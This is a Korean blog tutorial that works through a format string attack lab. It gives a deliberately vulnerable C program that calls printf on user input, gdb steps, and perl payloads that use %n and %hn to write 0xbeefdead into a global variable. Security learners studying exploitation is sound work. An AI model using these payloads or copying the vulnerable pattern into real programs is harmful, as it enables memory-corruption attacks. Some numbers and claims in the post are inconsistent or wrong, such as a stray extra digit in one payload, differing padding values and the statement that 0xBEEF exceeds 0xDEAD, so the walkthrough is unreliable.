시스템 해킹 실습 -7 . Format String Attack 포맷스트링 공격 [ 2 ]

2024. 7. 20. 19:22Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90

배울내용: 

시스템 해킹

단위공격 기술

포맷스트링 공격  발생 원리

포맷스트링 공격 실습 

포맷스트링 공격  취약점  방지 방법

메모리 취약점

포맷스트링 공격  이란? 

Format String Attack 

포멧스트링 2byte 공격

포멧스트링 perl 공격

beefDead

 

 

 

 

 

 

 

 

포맷스트링 공격이란?

 

포맷스트링 공격은 프로그램에 입력된 문자열 데이터가 명령으로 해석될 때 발생다.  

 printf() 같은 형식 문자열을 사용하는 함수에서 C와 C++과 같은 저수준 프로그래밍 언어에서 자주 발견된다.

 

 

 

이전 포멧스트링 1 편에 좀 더 설명 되어있으니  자세히 알고싶으면 아래의 링크로 이동하길바란다.

 

https://sarimus.tistory.com/143

 

시스템 해킹 실습 -6 . Format String Attack 포맷스트링 공격

배울내용: 시스템 해킹단위공격 기술 포맷스트링 공격  발생 원리포맷스트링 공격 실습 포맷스트링 공격  취약점  방지 방법메모리 취약점포맷스트링 공격  이란? Format String Attack      

sarimus.tistory.com

 

 

 

 

 

 

이전시간에 Perl을 이용해 특정 바이트 문자열을 생성하고 실행할떄 아래와 같이 코드를 작성했을것이다.

 

`perl -e 'print "x01\x02\x03\x04", %p%p%p%p%p%12345c%n"'`


#나중에 실행할때 넣어줄떄
r <<< `perl -e 'print "x01\x02\x03\x04", %p%p%p%p%p%12345c%n"'`

 

그러면 실제로 리틀엔디안 방식으로 작은주소에서 큰주소로 써주면 된다.

이 부분이 헷갈리면 Buffer OverFlow 취약점을 실습한 아래의 포스팅을보면 좀더 이해하기 쉽다.

위와 같이 넣게 되면 0x04030201 로 들어가게 되는것이다. 

 

https://sarimus.tistory.com/138

 

시스템 해킹실습 - 1. Buffer OverFlow (버퍼 오버플로우)

배울내용:버퍼 오버플로우 취약점시스템 해킹Buffer OverFlow버퍼 오버플로우의 발생 원리버퍼오버플로우 실습 버퍼 오버플로우 방지 방법메모리 취약점버퍼 오버플로우 스택구조     취약점

sarimus.tistory.com

 

%n과 %hn은 C 언어의 printf 함수와 관련된 포맷 지정자(format specifier)들로,

포맷 문자열 공격이나 특정한 메모리 조작을 할 때 사용된다.

.

 

위와 같이 넣는것은 N 을 쓸떄는 4바이트에 넣는것인데  2 바이트를 쓰는걸이용해서 2번 넣을수도 있다. 

예를 들어 0xbeef 만 쓸려면 쓸수있지만 만약에 0xbeefdead 가 되어버리면 4바이트에 저걸 넣을수가없다.

 

이럴때 Hn 으로 2 byte 씩 나누어 한자리에는 beef, 그다음자리에는 dead 를 넣을수있는데 

이공격할때 조건은 주소를알아야하고  , 해당  주소들이 위치해야한다 , 그리고 스택의 주소가 2개들어가있어야며

%hn 을 2번 써야한다. 

 

 

 

 

N와 Hn의 차이점

  1. 저장되는 데이터 타입:
    • %n: int 타입의 정수 값을 저장 .
    • %hn: short int 타입의 정수 값을 저장 
  2. 메모리 사용 크기:
    • %n: 4바이트 또는 8바이트(플랫폼에 따라 다름)를 사용하여 정수 값을 저장 
    • %hn: 2바이트를 사용하여 정수 값을 저장 

 

 

공통점으로는 


이들은 출력된 문자의 수를 특정 주소에 저장하는 데 사용된다

 

 

 

 

 

 

실습

 

 

코드작성 

format_1.c

#include <stdio.h>

int answer = 0x9047;

void main(){
    char buf[512] = {0,};
    fgets(buf, 511, stdin);
    printf(buf);
    if(answer == 0xbeefdead){
        printf("You Win!\n");
    }
}

 

 

format_1.c 라는 이름으로 파일을 만든뒤 위와 같이 작성해준다  

 

    gcc -m32 -no-pie format_1.c -o format_1

 

그리고 컴파일 시켜준다 

 

 

 

코드실행 

 

 

그리고 실행후에 %x 를 8번 써주고 확인해봤더니 1ff 이후에는 모두 더미데이터처럼보이는게 들어가있다

일단 1ff 는 HEX 값으로 --> DEX 로 치환하면 

 

 

 

코드에서 작성했던 buf 의 크기인걸 알수있다.

그리고 뒤에 오는 값들은 스택에 저장된 다른 정보들로, 로컬 변수, 저장된 레지스터 값, 이전 함수 호출의 리턴 주소 등이 포함될 수 있다.

 

 

이제 gdb 를 실행시켜서 자세히 보자 

 

 

 

 

그리고 pd main 을했을때 130 에서는 eax 하고 beefdead 를 비교하는게 보이고

98 은 buf 를 받고 116 은 출력하는걸보면 어디서 어떤코드인지 소스코드를 보면 잘알수있다. 

 

 

 

그러면 대체 어디서 break point 를 거는게 좋을까??

 

포맷 문자열 취약점 공격을 수행하려면 주로 printf 함수 호출 부분에 브레이크포인트를 설정하여 프로그램이 어떤 값을 출력하는지, 그리고 포맷 문자열이 어떤 영향을 미치는지 확인할 수 있다.

 

확인할 값들

  1. 스택 프레임:
    • 스택에 있는 값들이 어떻게 변화하는지 확인 
    • 특히, 포맷 문자열의 주소와 그 포맷 문자열에 의해 참조될 수 있는 값들이 중요함
  2. 레지스터 값:
    • eax, ebx, ecx, edx 등의 레지스터 값을 확인하여 함수 호출 전에 어떤 값들이 준비되있는지 확인
  3. 포맷 문자열:
    • ebp-0x21c의 주소에 저장된 포맷 문자열의 내용을 확인
    • x/s 명령어를 사용하여 해당 메모리 주소에 저장된 문자열을 확인

 

 

그럼이제 print를하고 그뒤에 cmp beefdead 를 확인하는 부분에서 break point 를 걸어보자

b *main+116 한뒤에 r 해서 실행하고 AAAA 를 넣어보자

 

 

 

 

 

그러면 ESP 에도 AAAA 그리고 EAX 에도 들어간게 보인다

이걸 둘다 확인해보면

 

 

 

 

뭔가 ESP 에 7번쨰의 값(제일 앞자리 주소 제외) 에 0x41414141 이 있는걸 볼수있다 

이는 분명 내가 입력했던 AAAA 값이 들어간게 분명하다 

 

 

 

그럼이제 answer 를 한번 봐준다


p &answer 와 p answer 로 주소와 주소안에 값을 가져온다 

이제 주소를 알아냈고 바꿀수있는 위치와  주소안 값을 바꿀수가있다. 

이러면 Format String 공격조건에 만족한다 

 

이러면 perl 함수를 써서 BEEF 만 넣어보자

 

 

 

 

Beef 는 DEC 로는 48879 이니 이값을 perl 함수에 넣어주면된다

 

`perl -e 'print "\x28\xc0\x04\x08", "%488879c%7\\$n"'`

 

 

여기에 하나더 우리는 이전에 %p%p%p로 여러번써서 7번쨰를 마춰줫지만

  DEC값+ c%위치숫자\\%n 하면 7번쨰에 넣을수있다

 

DEC값 : 12345

위치값 : 5

 

ex) %12345c%5\\$n

 

 

그런데 값을 확인해보니 bef3 으로 바껴있다 

이러한 이유는 전과 동일하게  %n 은 앞에 출력된 길이를 나타내니 이러한 길이 (4) 도 더해줘야한다 (48879에서 4빼야함) 

 

 

(BEF3 는 BEEF 에서 4 더해줘야하기 때문에 BEF3 으로 되는것이기 때문에 BEEF 를 출력하기 위해서 명령문에서는 4를 빼야함) 

 

`perl -e 'print "\x28\xc0\x04\x08", "%488875c%7\\$n"'`

 

 

 

 

 

 

 

BEEF 까지 값을 넣는거는 성공했다 그러나 우리는 BEEFDEAD 를 넣어야한다

그렇기 떄문에 여기서부터는 %n 으로 4바이트를 넣는게 아닌 %hn 으로 2바이트씩 잘라서 코드에 넣어볼것이다

 

 

 

 

값 계산 및 주소 설정

  • BEEF (48879)와 DEAD (57005)의 차이는 8116. 이는 포맷 문자열에서 조정할 수 있는 값이다.

주소는 낮은곳에서 높은곳으로 쓰니 아래처럼 쓰면 된다 

 

 r  <<< ‘perl -e ‘print “\x2a\xc0\x04\x08\x28\xc0\x04\x08” ,”%48871c%7\\$hn%8126c%8\\$hn”’`

 

 

 

그러면 7번쨰에 0x0804c02a 와 8번째에 0x0804c028 이 들어간걸 볼수있고 이는 각각 beef 와 dead 로 들어가게 된다. 

그리고 p answer 하면 beefdead 가 나오는걸 볼수있고 c 를 눌러서 진행시키면

 

 

 

위와같이 성공 플레그를 뛰우게 된다

 

 

 

또는 순서를 거꾸로한다면 아래와 같은 방법도 가능하다

 

 

`perl -e 'print "\x28\xc0\x04\x08\x2a\xc0\x04\x08", "%56997c%7\\$hn%57410c%8\\$hn"'`

 

 

우선 0x8040c28 에는 Dead 가 들어가는데 여기서 %n 때문에 스택의 위치에 있는 주소에 지금까지 출력된 문자의 수를 기록을 더하면 

 

 

여기에서 8을 뺴줘야한다  그러면 56997 이 되게 된다

뒤에서는 56997 에 57410 값을 더하면 114,415 가 되게되고 이는 아래와같이 표시된다.

 

 

 

 

이떄 2byte 의 특성상 4byte 에 BEEF 가 들어가고 나머지 1은 들어갈 공간이 없으니 그냥 버려진다 

이걸이용해 DEADBEEF를 넣을수있게 된것이다. 

 

 

 

 

 

이렇게 성공하게 되는 것이다

 

 

 

 

정리 풀이

  • 목표: 메모리의 특정 주소에 0xDEADBEEF 값을 써넣기
  • 조건: 메모리 주소는 4바이트이지만, 포맷 문자열의 %hn을 사용하여 2바이트씩 나누어 값을 써넣어야 함.

단계별 해결 방법

  1. 주소 계산:
    • 현재 주소: 0x804c028 (메모리 주소)
    • 메모리 주소는 낮은 바이트부터 높은 바이트까지 2바이트씩 분할하여 쓰면 된다.
    • 0x804c028에서 2바이트 낮은 주소는 0x804c028, 높은 주소는 0x804c02a.
  2. 포맷 문자열 작성:
    • 포맷 문자열에서 0xDEAD와 0xBEEF를 각각 2바이트 단위로 쓸 수 있도록 준바.
    • 문제: 0xBEEF는 0xDEAD보다 더 큰 값이므로 이를 정확히 조정해야한다.
  3. 포맷 문자열 조정:
    • 원하는 값인 0xDEADBEEF를 메모리에 쓴다는 것은 두 개의 포맷 문자열 %hn을 이용하여 값을 쓴다는 것을 의미
    • 이때 0xDEAD와 0xBEEF를 각각 메모리 주소에 쓸 때 포맷 문자열에 맞게 값을 조정해야함
  4. 구체적인 포맷 문자열:perl -e 'print "\x28\xc0\x04\x08\x2a\xc0\x04\x08" ,"%48879c%7$hn%8126c%8$hn"'
    • 설명:
      • \x28\xc0\x04\x08와 \x2a\xc0\x04\x08: 메모리 주소
      • %48879c%7$hn: 첫 번째 2바이트 (0xDEAD에 맞는 값) ( 48871에서 문자열길이 +8 해준값) 
      • %8126c%8$hn: 두 번째 2바이트 (0xBEEF에 맞는 값)
    •  
  5. 최종적으로 다음과 같은 포맷 문자열을 사용하여 원하는 주소에 0xDEADBEEF를 써넣을 수 있다.

이 과정에서 포맷 문자열의 위치와 패딩 계산이 중요하다.

메모리 주소와 포맷 문자열의 정확한 위치를 이해하고 적용하면 성공적으로 원하는 값을 메모리에 써넣을 수 있다.

 

728x90